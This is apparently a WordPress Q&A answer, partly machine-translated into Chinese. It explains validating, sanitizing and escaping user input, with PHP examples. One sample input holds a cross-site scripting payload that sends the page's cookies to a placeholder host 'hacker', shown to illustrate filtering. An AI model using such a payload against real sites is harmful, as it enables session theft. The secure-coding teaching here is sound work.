Short Answer: 如果您已经正确验证了数据,那么可以选择进行清理。
Longer Answer
用户提供的数据和来自未知/外部来源的数据应始终被视为不受信任的数据,即使用户实际上是您自己,因此是的,我们应始终验证
and/or 清理此类数据。因此,没有验证,请不要按原样存储用户输入
or 正在清理数据。
摘录自"Securing (sanitizing) Input" in the plugin developer handbook:
当你不知道该期待什么或不想严格要求时,你会使用消毒data
validation.
Any time you’re accepting potentially unsafe data, it is important to validate or sanitize it.
记住:即使管理员也是用户,用户也会故意或意外地输入错误的数据。保护他们不受伤害是你的职责。
下面是一些可能有帮助的示例:
// let\'s assume $_POST[\'my_number_field\'] is set
// same goes to $_POST[\'my_text_field\']
// bad - no validation and no sanitization
update_post_meta( 123, \'int_meta\', $_POST[\'my_number_field\'] );
// no validation, but the value is sanitized
$value = filter_input( INPUT_POST, \'my_number_field\', FILTER_SANITIZE_NUMBER_INT );
update_post_meta( 123, \'int_meta\', $value );
// example with validation
if ( is_numeric( $_POST[\'my_number_field\'] ) ) {
update_post_meta( 123, \'int_meta\', (int) $_POST[\'my_number_field\'] );
} else {
// show an error, delete the meta or whatever is necessary
}
// example with validation - here we specify a range of values
if ( in_array( $_POST[\'my_text_field\'], array( \'one\', \'two\', \'3\' ) ) ) {
update_post_meta( 123, \'text_meta\', $_POST[\'my_text_field\'] );
} else {
// show an error, delete the meta or whatever is necessary
}
这有点令人困惑,因为wordpress清理功能也会对一些html字符进行编码。根据我的经验,这很容易导致双重编码(特别是如果你不能使用wordpress功能,如esc\\U html和esc\\U attr,它们不会双重编码)。
也许我没有完全理解这一点,但似乎您可能只是没有使用正确的函数?
例如,如果您试图清理允许HTML标记的数据,那么您可能希望使用WordPress KSES函数,如wp_filter_kses()
(允许基本HTML标记)和wp_filter_post_kses()
(允许在帖子内容中使用所有HTML标记,如p
):
$value = \'<p>some dynamic input data with <b>html</b>, <q>a quote</q> & potentially \' . // wrapped
\'unsafe code..</p> "><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>\';
// This allows only basic HTML tags like strong and blockquote.
update_post_meta( 123, \'foo_meta\', wp_filter_kses( $value ) );
// This allows advanced HTML tags (p, div, etc.) and attributes.
update_post_meta( 123, \'foo_meta\', wp_filter_post_kses( $value ) );
然后,在呈现数据时,可以使用以下转义函数
esc_textarea()
,
esc_attr()
和
wp_kses_post()
:
<!-- In a form field, use esc_attr() or esc_textarea() for textarea fields -->
<input value="<?php echo esc_attr( get_post_meta( 123, \'foo_meta\', true ) ); ?>">
<textarea rows="3"><?php echo esc_textarea( get_post_meta( 123, \'foo_meta\', true ) ); ?></textarea>
<h2>Foo meta</h2>
<!-- Use wp_kses_post() when **not** displaying in form fields -->
<?php echo wp_kses_post( get_post_meta( 123, \'foo_meta\', true ) ); ?>
或者你误解了消毒和逃跑的区别?
因为基本上,清理意味着清理/过滤输入,而转义意味着我们保护输出,例如HTML标记不会被解析,除非我们在输入中允许HTML标记。(但即使允许HTML,也应限制允许的标记)
实际上,我在上面给出了一个示例,其中我清理了元值(来自一个名为$value
这是输入,然后我在页面上显示时转义了元值。因此,在后一种情况下,当我回显该值时,元值(从数据库中检索)成为输出。
进一步阅读
"Securing (escaping) Output" in the plugin developer handbook
"Validating, Sanitizing and Escaping User Data" on WordPress Codex